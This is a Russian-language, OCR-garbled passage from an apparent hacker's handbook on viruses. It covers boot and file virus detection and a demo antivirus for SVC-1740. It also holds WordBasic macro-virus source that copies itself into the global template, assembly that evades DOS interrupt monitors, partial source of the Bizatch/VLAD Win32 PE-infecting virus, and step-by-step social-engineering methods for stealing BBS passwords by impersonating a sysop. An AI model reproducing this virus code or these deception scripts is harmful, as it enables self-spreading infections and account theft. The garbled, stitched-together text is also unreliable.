найти в гипертекстовом каталоге avpve того же автора. Остается

только привести краткое изложение этих глав с уточнениями и за-

мечаниями (может быть, весьма спорными).

а) Обнаружение загрузочного вируса. Загружаемся с чистой дискеты

и, запустив DiskEditor, заглядываем в сектор 0/0/1 винчестера.

Если винчестер разделен (при помощи fdisk) на логические диски,

то код занимает приблизительно половину сектора и начинается

с байт FAh 33h COh (вместо 33h иногда может быть 2Bh). Закан-

чиваться код должен текстовыми строками типа "Missing operating

system". В конце сектора размещаются внешне разрозненные бай-

ты таблицы разделов. Нужно обратить внимание на размещение

активного раздела в таблице разделов. Если операционная система

расположена на диске С, а активен 2, 3 или 4 раздел, то вирус мог

изменить точку старта, сам разместившись в начале другого логи-

ческого диска (заодно нужно посмотреть и там). Но также это мо-

жет говорить о наличии на машине нескольких операционных си-

стем и какого-либо boot-менеджера, обеспечивающего выборочную

загрузку. Проверяем всю нулевую дорожку. Если она чистая,

то есть ее сектора содержат только байт-заполнитель, все в поряд-

ке. Наличие мусора, копий сектора 0/0/1 и прочего может гово-

рить о присутствии загрузочного вируса. Впрочем, антивирусы при

лечении загрузочных вирусов лишь "обезглавливают" противника

(восстанавливают исходное значение сектора 0/0/1), оставляя тело

"догнивать" на нулевой дорожке. Проверяем boot-сектор MS-DOS,

он обычно расположен в секторе в 0/1/1. Его внешний вид для

сравнения можно найти как в вышеупомянутой книге Е. Касперс-

кого, так и на любой "чистой" машине. Итак, если вирус обнару-

жен, при помощи DiskEditor переписываем в файл зараженный

объект: MBR 0/0/1 (а лучше всю нулевую дорожку), boot 0/1/1

и все остальное. Желательно отправить этот комплект вирусоло-

гам. Копию, при желании, оставляем себе - для опытов.

б) Обнаружение файлового вируса. Нерезидентные файловые виру-

сы специально не скрывают своего наличия в системе. Поэтому

основным признаком заражения файла является увеличение его

длины, которое легко заметить даже в инфицированной операци-

онной системе. Резидентные вирусы могут скрывать изменение

длины файла (да и вообще наличие своего кода внутри файла-

жертвы), если они написаны по Stealth-технологии. Но при заг-

рузке с "чистой" дискеты это можно увидеть. Некоторые вирусы

не изменяют длину заражаемых программ, используя "пустые"

участки внутри файла программы или кластерный "хвост" фай-

ла, расположенный после последнего заполненного сектора.

В этом случае основной признак заражения - изменение конт-

рольной суммы байт файла.


Это легко обнаруживают антивиру-

сы-инспектора типа Adinf. В качестве крайней меры можно рас-

сматривать прямое изучение кода программ, подозрительных

с точки зрения наличия в них вируса. Одно из лучших программ-

ных средств для оперативного изучения кода вирусов - програм-

ма HackerView (hiew.exe by SEN). Но, поскольку "по умолча-

нию" компьютер чужой, hiew, td, softice, ida и подобных

программ на нем может просто не оказаться. Зато стандартный

отладчик debug присутствует точно. Загружаем подозреваемую

на наличие вируса программу (в чистой операционной системе)

в память при помощи команды debug <имя_программы>. Коман-

да и позволяет дизассемблировать фрагмент кода, команда d -

просмотреть его в шестнадцатеричном формате, команда g <ад-

рес> запускает программу на выполнение с остановом в указан-

ной точке, команда t обеспечивает пошаговую трассировку кода,

команда г отображает текущее содержимое регистров. Чтобы ви-

зуально распознать наличие вируса по коду, конечно, необходим

определенный опыт. Вот на что надо обращать особое внимание:

- Наличие в начале программы последовательности команд подоб-

ного типа крайне подозрительно:

Start:

call Metka

Metka: pop

- Наличие в начале файла строк типа "PkLite", "Ь291"или "diet"

подразумевает обработку программы соответствующим упаковщиком;

если начало программы не содержит последовательности команд, ха-

рактерных для упаковщика, не исключен факт ее заражения.

- Программы, написанные на языках высокого уровня, часто содер-

жат в своем начале сегмент кода, затем сегмент данных. Наличие

еще одного сегмента кода, располагающегося в конце файла про-

граммы, весьма подозрительно.

- Подозрение вызывают расположенные в начале программы, напи-

санной на языке высокого уровня, фрагменты видоизменения соб-

ственного кода, вызовы DOS- или BIOS-прерываний и прочее. Же-

лательно визуально помнить характерные начала программ,

скомпилированных в той или иной системе программирования (на-

пример, начала программ, написанных на Turbo Pascal, содержат

большое количество дальних вызовов подпрограмм call xxxx:xxxx).

- Наконец, о наличии вируса могут свидетельствовать "посторон-

ние" строки типа "Eddie lives." внутри файла.

7. Ловля вируса "на живца". Итак, допустим, что наличие вируса в си-

стеме доказано одним из предложенных выше методов, и заражен-

ные вирусом объекты определены. Теперь можно начать изучение

вируса и, вслед за этим, попытаться удалить его с машины. Жела-

тельно послать образец вируса профессиональным вирусологам.

А для этого необходимо выделить вирус в чистом виде.

а) Выделение загрузочного вируса. Как уже говорилось выше, если

вирус заразил винчестер, необходимо при помощи программы

DiskEditor сохранить в файле образ зараженного объекта (напри-

мер, сектора 0/0/1 или всей нулевой дорожки). Но, как известно,

загрузочные вирусы только "живут" в системных областях вин-

честера, размножаются же они, заражая системные области дис-

кет. Поэтому смотрим на лицевую панель компьютера. Если

в наличии дисководы обоих типов (3.5" и 5.25"), то придется

/•

отформатировать 4 дискеты на 4 стандартных формата: 360Кбайт,

720Кбайт, 1.2Мбайт и 1.44Мбайт. Затем при помощи программы

DiskEditor внимательно рассмотрим и постараемся запомнить

внешний вид boot-секторов этих дискет (0/0/1), хотя бы первые

байты (естественно, все это делается на чистой машине). Встав-

ляем не защищенные от записи дискеты по очереди в дисководы

"больной" машины и (обязательно) обращаемся к ним: пытаемся

прочитать каталог, записать, прочитать и удалить какие-либо

файлы. Наконец, на чистой машине при помощи DiskEditor

вновь просматриваем сектор 0/0/1. Если на какой-либо дискете

он изменился, при помощи того же DiskEditor снимаем образ

всей дискеты в файл. Вирус пойман. Можно упаковать файл ка-

ким-нибудь архиватором и послать его вирусологу. Некоторые

хитрые вирусы хранят свое тело на дополнительной, специально

отформатированной дорожке, так называемом инженерном ци-

линдре дискеты. В этом случае без пакета копирования ключевых

дискет типа fda, teledisk или copymaster не обойтись.

б) Выделение резидентного вируса. Как известно, резидентный ви-

рус постоянно находится в памяти ПЭВМ, выбирая жертву для

заражения. Наиболее часто в качестве жертв выступают запуска-

емые программы. Однако файлы программ могут заражаться при

открытии, копировании на дискету или с нее (вирус OneHalf), во

время поиска при помощи DOS-функций FindFirst или FindNext.

Необходимо подобрать подходящего претендента на "конт-

рольное" заражение - небольшую программу простой структуры,

приманку. Некоторые вирусы пытаются распознать приманку

и отказываются от ее заражения. Не подходят для таких целей

слишком короткие программы или такие, большая часть которых

состоит из повторяющихся байт (например, 90h - код команды

NOP). В качестве приманки с большим успехом можно использо-

вать программы test.com и test.exe. Вот их исходные тексты

на языке Assembler.

Получение пароля BBS без взлома


Рассмотренные выше способы взлома BBS предполагают наличие
у пользователя базовых знаний о системе. Теперь немного о том, как
можно достать пароль еще проще. Практически на каждой BBS суще-
ствуют неопытные пользователи, имеющие высокий уровень доступа
(информация об уровне доступа пользователей BBS доступна почти
всегда). Если же такого пункта нет, то "хорошего" пользователя всегда
можно вычислить, например, по времени, которое он проводит на стан-
ции, или по объему скопированной и присланной им информации.
Итак, определив человека, паролем которого неплохо завладеть, пишем
ему письмо о том, что по техническим причинам (причину придумыва-
ем любую, главное правдоподобную) ему следует изменить свой рабо-
чий пароль (предлагаем новый, например "НАСК_01"). После того, как
пользователь поменяет свой пароль (на это ему нужно отвести дня два-
три, поскольку в один день он может не позвонить, в другой - только
поменяет пароль, в общем, время ему понадобиться), можно беспрепят-
ственно входить под его именем и пользоваться системой. Главное, что-
бы письмо было написано от имени системного оператора или какого-
либо администратора данной системы. Если система не позволяет
менять имя адресата в поле FROM, стоит зайти в нее под другим име-
нем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное,
не надо предупреждать, что все данные, указанные при регистрации под
заведомо ложным именем, не должны быть настоящими.
Можно предложить еще один способ проникновения - метод "забыва-
ния пароля". Вся хитрость в том, что при входе в систему указывается
имя какого-либо пользователя этой BBS, пароль которого, естественно,
не известен. После неудачных попыток ввода пароля (не надо пытаться
его подобрать, лучше сделать вид, что пароль забыт, вводя различные
слова, типа Sprite, Cola и так далее) нужно составить письмо системно-
му оператору с просьбой поменять "забытый" пароль на другой. Указы-
ваем новый пароль, затем сочиняем душещипательную историю о ка-
ком-нибудь хакере, якобы подобравшем наш пароль на другой BBS или
вообще в Интернет, из-за чего приходится использовать на всех систе-
мах разные пароли. Если системный оператор не очень опытный, выс-
лушав такую ужасную историю он обязательно войдет в положение не-
счастного и выполнит его просьбу - поменяет текущий пароль на
предложенный. Дальше - полная свобода действий. Работоспособность
данного метода зависит от того, насколько опытен оператор, а также
убедительна ли выдуманная история. Прочитав ее, системный оператор
не должен и предположить, что его обманывают.

Д Коды ошибок DOS


2 - файл не найден
3 - путь доступа не найден
5 - доступ отвергнут
6 - недопустимая обработка
8 - недостаточно памяти
10 - недопустимая программная среда
11 - неверный формат
18 - файлы отсутствуют

В Функции программирования Flash в AMIBIOS


За программирование Flash в AMIBIOS отвечает функция EOh преры-
вания INT 16h. При вызове прерывания INT 16h номер функции дол-
жен находиться в регистре АН, номер подфункции - в регистре AL.
При возврате из функции регистр AL содержит FAh как подтвержде-
ние, что данная функция прерывания поддерживается. Флаг CF равен
нулю при успешном выполнении и равен единице при ошибке.
Для уверенности в успешном выполнении функций необходимо всегда
проверять AL=FAh на выходе.

Пример антивируса


Итак, нужно написать некую программу, которая будет сканировать ка-
талоги указанного диска, искать зараженные файлы и исцелять их.
Важный момент - поиск и лечение должны производиться после заг-
рузки с "чистой" дискеты. Это правило должно выполняться при ис-
пользовании любого антивируса. Но если коммерческие программы, на-
писанные профессиональными вирусологами, каким-то образом
пытаются противодействовать "заразе", пресекая действия агрессивных
резидентов, разыскивая и обращаясь к оригинальным обработчикам
прерываний или проверяя свой код на целостность, то представленная
программа из-за своей простоты этого делать не умеет.
В качестве языка программирования выбран С. Приоритетным призна-
но использование таких библиотечных процедур, форматы которых
идентичны во многих системах программирования. Поэтому, например,
использовалась процедура _dos_findfirst(), а не findfirst(). Программа
была написана и отлаживалась в системе, программирования JPI
TopSpeed С v3.01, а также была проверена на Borland C++ v3.1. Кроме
того, контролировалось наличие, идентичность по функциям и форма-
там вызова использованных библиотечных функций в системах про-
граммирования Microsoft C++ v6.0 и Watcom C++ vlO.0. Но если что-
то и не совпадет, откорректировать программу любому программисту не
составит труда.
Основу программы составляет алгоритм обхода дерева каталогов и по-
иска в них файлов с расширениями "СОМ" и "ЕХЕ".
В тот момент, когда обнаружен очередной потенциально зараженный
файл, вызывается функция infectedQ с именем файла в качестве пара-
метра. Задачей этой функции является проверка указанного файла на
заражение и возврат соответствующего признака.
В случае положительного результата на заражение вызывается функция
cure(), которая и выполняет операцию исцеления зараженной программы.
Если требуется написать программу для лечения для какого-либо другого
вируса, достаточно просто изменить содержимое процедур cure() и infectedQ.

Итак, как же узнать, заражена программа или нет? В прошлых главах

это делалось чисто визуально, теперь же требуется определить формаль-

ные признаки зараженности.
В основе общепризнанного метода лежит принцип выделения сигнату-

ры вируса. Сигнатура - это последовательность байт, однозначно харак-

терная для конкретного вируса.
Разумеется, неправильно было бы использовать для детектирования

файла такие ненадежные признаки, как, например, 60 секунд во време-

ни создания файла. Во-первых, это может быть признаком случайного

изменения (например, при упаковке/распаковке некоторыми архивато-

рами). Во-вторых, слишком многие вирусы используют для самоопозна-

ния одинаковые признаки. Наконец, эти признаки могут принадлежать

совершенно здоровой программе (как в истории с антивирусом antitime

и сигнатурой MsDos).
Вообще говоря, сигнатура - это множество N пар , i=l.N, где

Pi - расположение i-го байта, Bi - значение i-го байта. Но на практике

часто используют непрерывные сигнатуры, для которых важно опреде-

лить только место расположения первого байта и длину сигнатуры.
Какой должна быть длина сигнатуры? Вообще говоря, чем больше -

тем лучше, в идеале в сигнатуру должна входить вся неизменяемая

часть вируса, что гарантирует однозначность распознавания. Но это не-

вероятно увеличит объем антивируса (а известные программы лечат

тысячи вирусов) и замедлит процесс распознавания. Таким образом,

целесообразным следует считать количество от нескольких байт до не-

скольких десятков байт - не больше. Остановимся на цифре 6.
Итак, в качестве сигнатуры вируса SVC-1740 выберем 6 байт вируса,

которые размещены начиная с 1724-го байта, если считать от конца за-

раженного файла (с 16-го байта вируса). Вполне возможно, что эти

6 байт совпадают для всех вирусов семейства SVC. Но вероятность

того, что машина сразу заражена несколькими вирусами одного семей-

ства, крайне мала. А вот выбор в качестве сигнатуры шести первых байт

вируса был бы точно ошибочным, потому что, как уже говорилось

выше, подобное начало характерно для очень большого числа вирусов.
Итак, сигнатура OB4h 83h OCDh 21h 5Eh 56h длиной б байт расположена

начиная с 1724-го байта, если считать от конца зараженной программы.
Теперь рассмотрим вопрос лечения программы. Фрагменты заражен-

ной программы, которые необходимо восстановить для излечения, оп-

ределены ранее.
Напомним, что вирус SVC-1740, заражая программу, дописывается в ее

конец, сохраняя в своем теле первые 24 байта оригинальной программы.

Поэтому для излечения как ЕХЕ, так и СОМ-программ, вполне доста-

точно переписать сохраненные 24 байта в начало программы без учета

того, что большая их часть не была изменена, и отсечь 1740 вирусных

байт в конце зараженной программы.
Но с методической точки зрения, следуя стратегии заражения, необхо-

димо в СОМ-программе восстановить только первые три байта,

а в ЕХЕ-програмее - 6 ранее измененных слов заголовка.
Поэтому для функции cure() предусмотрен именно второй алгоритм

лечения, хотя он более медленный и сложный.
Итак, для СОМ-файла считываем 3 байта, с 80-го по 78-й, если считать

от конца файла, и переписываем их в начало файла, для ЕХЕ-файла -

перемещаем 6 слов согласно таблице 6.1. и отсекаем последние

1740 байт.
Таблица 6.1. Таблица перемещений для ЕХЕ-файла

Источник, отсчет от

конца файла
Приемник, отсчет от

начала файла
78 2
76 4
66 14
64 16
60 20
58 22

Демонстрационный антивирус-фаг
для вируса SVC-1740.
"**"***************"**"**"*"*******"*"*"**^
#include

^include
^include
^include
^include
^include
^include
^include
#include
^define F_FOUND 0
#define PATH_LEN 128

^define DRIVE_LEN 4

ftdefine BLANK_LEN 80
#define BAD 1

^define GOOD 0
#define DBG

char
/* Строка имени текущего подкаталога */

path[PATH_LEN],
/* Строка имени начального места расположения */

old_path[PATH_LEN],
/* Строка имени требуемого устройства 7

drive[DRIVE_LEN],
/* Пустая строка */

blank[BLANK_LEN];
int
/* Количество отсканированных каталогов 7

n_dir,
/* Количество исследованных файлов 7

nJil,
/* Количество больных и исцеленных файлов 7

n_ill;
int
/* Длина имени файла */

I,
/* Временный индекс */

Пример макро-вируса


Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN
'Включаем обработку автоматических макросов
DisableAutoMacros 0
'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then
'Заразим. Копируем макрос
MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1
MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1
MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1
MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1
MacroCopy WindowName$()+":DateiSpeichernUnter",
"Global.-DateiSpeichernllnter", 1
MacroCopy WindowName$()+":DateiBeenden",
"GlobahDateiBeenden", 1
MacroCopy WindowName$() + ": ExtrasOptionen ",
"Global :ExtrasOptionen", 1
MacroCopy WindowName$()+":DateiDokvorlagen",
"GlobaLDateiDokvorlagen", 1
MacroCopy WindowName$()+":lt", "Global:lt", 1
MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1
End If
End Sub
'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
'Установим переменную Installed в 0 (инициализация переменной).
"При положительном результате проверки установим ее в 1
lnstalled=0
'Проверим, есть ли макросы
If CountMacros(O) > 0 Then
"Проверим имена макросов. Если есть AutoExec,
"установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)="AutoExec" Then
lnstalled=1
End If
Next i
End If
End Function
Function Forgetit
Forgetlt=0
Section$="Compatibility"
ProfilName$="Nomvir"
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$="Ox0690690" Then
Forgetlt=1
End If
End Function

Пример реализации


Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h - метод
;" предопределенных адресов" не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp

Для поддержки Unicode Win32 интерпретирует


.386

locals

jumps

.model flat.STDCALL

include win32.inc некоторые 32-битные константы и структуры

L equ

;0пределим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess.-PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn lnvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadlconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

; Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ

DefWindowProc equ

DispatchMessage equ

FindWindow equ

GetMessage equ

GetModuleHandle equ

LoadCursor equ

Loadlcon equ

MessageBox equ

RegisterClass equ

TextOut equ

•data

newhwnd dd 0

Ippaint PAINTSTRUCT

msg MSGSTRUCT

we WNDCLASS

mbx_count dd 0

hinst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once",0

szClassName db "ASMCLASS32",0

[Сообщение, выводимое в окне

szPaint db "Left Button pressed:"

s_num db "OOOOOOOOh times.",0

.Размер сообщения

MSG_L EQU ($-offset szPaint)--!

.code

;Сюда обычно передается управление от загрузчика.

start:

.Получим HMODULE

push L О

call GetModuleHandle

mov [hlnst],eax

push L 0

push offset szClassName

call FindWindow

or eax.eax

jz reg_class

.Пространство для модификации строки заголовка


mov [zero]," "

reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hlnst]
mov [wc.clsHlnstance], eax
[Загружаем значок
push L IDLAPPLICATION

push L 0

call Loadlcon

mov [wc.clsHlcon], eax
; Загружаем курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
.Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем класс окна

push offset we

call RegisterClass
; Создаем окно
push L 0 .IpParam

push [hinst] .hinstance

push L 0 ;Меню

push L 0 ;hwnd родительского окна

push L CWJJSEDEFAULT ;Высота

push L CWJJSEDEFAULT ;Длина

push L CWJJSEDEFAULT ;Y

push L CWJJSEDEFAULT ;X

push L WSJ3VERLAPPEDWINDOW ;Style

push offset szTitleName ;Title Style

push offset szClassName ;Class name

push L 0 ;extra style

call CreateWindowEx
.Сохраняем HWND
mov [newhwnd], eax
.Отображаем окно на экране

push L SW.SHOWNORMAL

push [newhwnd]

call ShowWindow
;0бновляем содержимое окна

push [newhwnd]

call UpdateWindow
;0чередь сообщений

msgJoop:
.Прочитаем следующее сообщение из очереди

push L О

push L О

push L О

push offset msg

call GetMessage
; Если функция GetMessage вернула нулевое значение, то завершаем

[обработку сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем виртуальные коды клавиш в сообщения клавиатуры

push offset msg

call TranslateMessage
Передаем это сообщение назад в Windows

push offset msg

call DispatchMessage
[Переходим к следующему сообщению

jmp msgJoop
;Выход из процесса

endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".

;Это позволит Ассемблеру сохранить их

WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,

wparam:DWORD, lparam:DWORD

LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке

cmp [wmsg],WM_DESTROY

je wmdestroy
стр [wmsg],WM_RBUTTONDOWN

je wmrbuttondown

cmp [wmsg],WM_SIZE

je wmsize
cmp [wmsg].WM_CREATE

je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная программа не обрабатывает это сообщение.

.Передадим его Windows,

:чтобы оно было обработано по умолчанию

jmp defwndproc
.Сообщение WM_PAINT (перерисовать содержимое окна)

wmpaint:
Подготовим окно для перерисовки

push offset Ippaint

push [hwnd]

call BeginPaint

mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое

доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC

call TextOut
;0бозначим завершение перерисовки окна

push offset Ippaint

push [hwnd]

call EndPaint
; Выходим из обработки сообщения

mov eax, 0

jmp finish
;Сообщение WM_CREATE (создание окна)

wmcreate:
; Выходим из обработки сообщения

mov eax, О

jrnp finish
[Сообщение, не обрабатываемое данной программой, передаем Windows

defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
[Выходим из обработки сообщения

jmp finish
[Сообщение WM_DESTROY (уничтожение окна)

wmdestroy:
[Закроем поток

push L О

call PostQuitMessage
[Выходим из обработки сообщения

mov eax, О

jmp finish
.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)

wmlbuttondown:
inc [mbx_count]
[Обновим содержимое окна

push L О

push L О

push [hwnd]

call InvalidateRect
[Выходим из обработки сообщения

mov eax, О

jmp finish
[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0

call MessageBeep
; Выход им из обработки сообщения

jmp finish
;Сообщение WM_SIZE (изменен размер окна)

wmsize:
[Выходим из обработки сообщения

mov eax, О

jmp finish
[Сообщение WM_GETMINMAXINFO (попытка изменить размер

;или положение окна)

wmgetminmaxinfo:
[Заполним структуру MINMAXINFO

mov ebx, [Iparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
.Выходим из обработки сообщения

mov eax, 0

jmp finish
[Выходим из обработки сообщения

finish:
ret

WndProc endp
Процедура перевода байта в ASCII-формат для печати. Значение,

[находящееся в регистре AL, будет записано в ASCII-формате

;по адресу ES:EDI

HexWriteS proc
; Разделяем байт на полубайты и загружаем их в регистры АН и AL

mov ah.al

and al.OFh

shr ah,4
[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

[соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,

;то значение в этом полубайте надо еще корректировать

or ax,3030h
.Меняем полубайты местами, чтобы регистр АН содержал младший

.полубайт, а регистр AL - старший

xchg al.ah
;Проверим. надо ли корректировать младший полубайт,

.если да - корректируем
cmp ah, 39h
ja @@4
[Проверим, надо ли корректировать старший полубайт,

;если да - корректируем

@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI

@@2:
stosw
ret
.Корректируем значение старшего полубайта

@@3:
sub al, 30h
add al, "A"-10
jmp @@2
[Корректируем значение младшего полубайта

@@4:
sub ah, 30h
add ah, "A"-10
jmp @@1

HexWriteS endp
[Процедура перевода слова в ASCII-формат для печати.

[Значение, находящееся в регистре АХ, будет записано

;в ASCII-формате по адресу ES:EDI

HexWrite16 proc
;Сохраним младший байт из стека

push ax
;3агрузим старший байт в регистр А1_

xchg al,ah
.Переведем старший байт в ASCII-формат

call HexWrite8
; Восстановим младший байт из стека

pop ax
Переведем младший байт в ASCII-формат
call HexWrite8
ret

HexWrite-16 endp
Процедура перевода двойного слова в ASCII-формат для печати.

;3начение, находящееся в регистре ЕАХ, будет записано

;в ASCII-формате по адресу ES:EDI

HexWrite32 proc
.Сохраним младшее слово из стека

push eax
; Загрузим старшее слово в регистр АХ

shr eax, 16
[Переведем старшее слово в ASCII-формат

call HexWrite-16
[Восстановим младшее слово из стека

pop eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret

HexWrite32 endp
[Сделаем процедуру WndProc доступной извне

public WndProc

ends
[ Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное - всего лишь программа-носитель

vladseg segment para public "vlad"
assume cs:vladseg

vstart:
;Вычислим текущий адрес
call recalc

recalc:
pop ebp
mov eax.ebp
db 2Dh ;Код команды SUB AX

subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке

push eax
[Вычислим стартовый адрес вирусного кода

sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]

jmp movit
;Точка 2 не подошла, проверим точку 1

notkern2:
;Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим

cmp dword ptr [eax],5350FC9Ch

jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX

movit:
.Сохраним адрес KERNEL

mov [ebp+offset kern].eax

eld
;3апомним текущую директорию

lea eax, [ebp+offset orgdir]

push eax

push 255

call GetCurDir
; Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл

infectdir:
lea eax, [ebp+offset win32_data_thang]
push eax
lea eax, [ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
.Проверим, найден ли файл. Если файл не найден,

.меняем директорию
стр еах,-1
jz foundnothing


[Откроем файл для чтения и записи

gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax, [ebp+offset fullname]
push eax
call CreateFile
.Сохраним описатель файла
mov dword ptr [ebp+offset ahandj.eax
Проверим, не произошла ли ошибка.

. Если ошибка произошла, ищем следующий файл
стр еах,-1
jz findnextone
.Поставим указатель позиции чтения/записи на поле

;со смещением РЕ-заголовка
push О
push О
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем адрес РЕ-заголовка

push О
lea eax,[ebp+offset bytesread]

push eax

push 4
lea eax,[ebp+offset peheaderoffset]

push eax
push dword ptr [ebp+offset ahand]

call ReadFile
.Поставим указатель позиции чтения/записи на начало РЕ-заголовка

push О

push О
push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера

;РЕ-заголовка и таблицы объектов
push О
lea eax, [ebp+offset bytesread]
push eax
push 58h
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
[Проверим сигнатуру. Если ее нет, закрываем

